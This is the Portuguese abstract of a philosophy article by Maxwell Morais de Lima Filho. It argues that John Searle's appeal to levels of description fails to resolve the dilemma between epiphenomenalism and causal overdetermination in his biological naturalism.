Maxwell Morais de Lima Filho
RESUMO O objetivo do presente artigo é analisar se o conceito de causação mental defendido por John Searle no
naturalismo biológico (seção I) o compromete, por um lado, com o epifenomenalismo (estados mentais são
desprovidos de poderes causais próprios) ou, por outro lado, com a sobredeterminação causal, isto é, um mesmo
evento teria duas causas independentes, uma causa física (neurobiológica) e outra mental (seção II). Searle rejeita
ambas as opções, argumentando que se trata de um falso dilema: para dissolvê-lo, basta que se considere que um
mesmo sistema pode ser descrito em diferentes níveis (seção III) – processos neurobiológicos e estados mentais são
diferentes descrições, respectivamente, dos níveis inferior e superior do sistema cerebral. No entanto, mostrarei que
a defesa de diferentes níveis de descrição do mesmo sistema só seria adequada se Searle assumisse como
conseqüência a redutibilidade ontológica do mental ao neurobiológico, o que não é o caso, já que os fenômenos
mentais são ontologicamente subjetivos, diferentemente dos fenômenos neurobiológicos, que são ontologicamente
objetivos.
Palavras-chave: Causação mental, epifenomenalismo, sobredeterminação causal, John Searle, naturalismo biológico
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